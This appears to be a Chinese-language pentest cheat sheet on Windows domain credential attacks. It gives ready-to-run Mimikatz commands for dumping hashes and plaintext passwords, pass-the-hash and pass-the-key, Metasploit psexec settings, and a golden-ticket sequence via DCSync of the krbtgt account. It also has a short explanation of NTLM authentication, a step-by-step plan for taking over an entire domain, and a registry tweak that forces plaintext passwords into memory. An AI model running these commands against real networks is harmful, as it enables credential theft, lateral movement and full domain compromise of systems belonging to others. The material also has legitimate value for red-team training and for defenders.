Hash(Key) 获取
- 工具: Mimikatz
- 用法:
.mimikatz.exe
privilege::debug #查看权限
sekurlsa::logonpasswords #获取hash和明文密码(如果可以的话)
sekurlsa::ekeys #获取kerberos加密凭证
Hash(Key)传递
Mimikatz
sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /ntlm:xxxxxxxxxxxx #hash传递
sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /aes256:xxxxxxxxxxxxxx #key传递
Metaspolit
传递Hash
msf> use windows/smb/psexec
msf exploit(windows/smb/psexec)>set rhost a.b.c.d
msf exploit(windows/smb/psexec)>set rport 445 (139会更好一点)
msf exploit(windows/smb/psexec)>set smbuser xxxx
msf exploit(windows/smb/psexec)>set smbpass hashdump中的hash
msf exploit(windows/smb/psexec)>set domain xxxx
msf exploit(windows/smb/psexec)>exploit
Windows NTLM哈希传递和票据的原理
Windows验证的流程
- 1.首先用户在客户端输入username、password、domain,然后客户端会先将用户输入的password进行hash计算并保存在本地;
- 2.客户端将username明文传输到域控机
- 3.然后域控会随机生成16字节的challenge挑战码返回给客户端
- 4.客户端接收到challenge之后,会用之前password的hash进行加密(称为response),和challenge、username一起发送给服务器
- 5.服务端将客户端发来的信息转发给域控
- 6.域控在接收到服务端发来的response、challenge、username,会拿着username在自己的活动目录数据库(ntds.dit)中查询出对应的password hash,并对challenage进行一次加密,如果和用户发来的response相同则身份验证成功,否则则失败。
kerberos协议认证原理
请参考我的博文Kerberos认证协议分析
Hash的利用方式
NTLM验证靠HASH值,Kerberos靠票据(TICKET),在这里hash是可以传递的,使用hash可以直接登录系统,渗透方式如下:
- 1.获得一台域主机的权限
- 2.Dump内存获得用户hash
- 3.通过pass the hash尝试登录其他主机
- 4.继续搜集hash并尝试远程登录
- 5.直到获得域管理员账户hash,登录域控,最终成功控制整个域
引用:
但是在安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存中就不再保存明文的密码(ps:可以通过在注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest中新建键值来使下次管理员登陆后明文保存密码,但是效率太低,不推荐),且禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享,但是唯独默认的 Administrator (SID 500)账号例外,依然可以通过这个账号进行pass the hash进行攻击
票据的利用方式
kerberos有两种平票据:一种是silver ticket,有账号hash加密,可以访问特定的服务;另外一种是golden ticket,可以访问域内所有服务;这个黄金票据是用kerberos账户的hash生成的,我们来看下操作:
# 1 首先我们要抓取kerboers的hash
lsadump::dcsync /domain:xxx.xxxxx /user:krbtgt
# 2 生成票据
kerberos::purge
kerberos::golden /admin:administrator /domain:xxx.xxxx /sid:SID /krbtgt:hash值 /ticket:administrator.kiribi
# 3 获取权限
kerberos::ptt administrator.kiribi
kerberos::tgt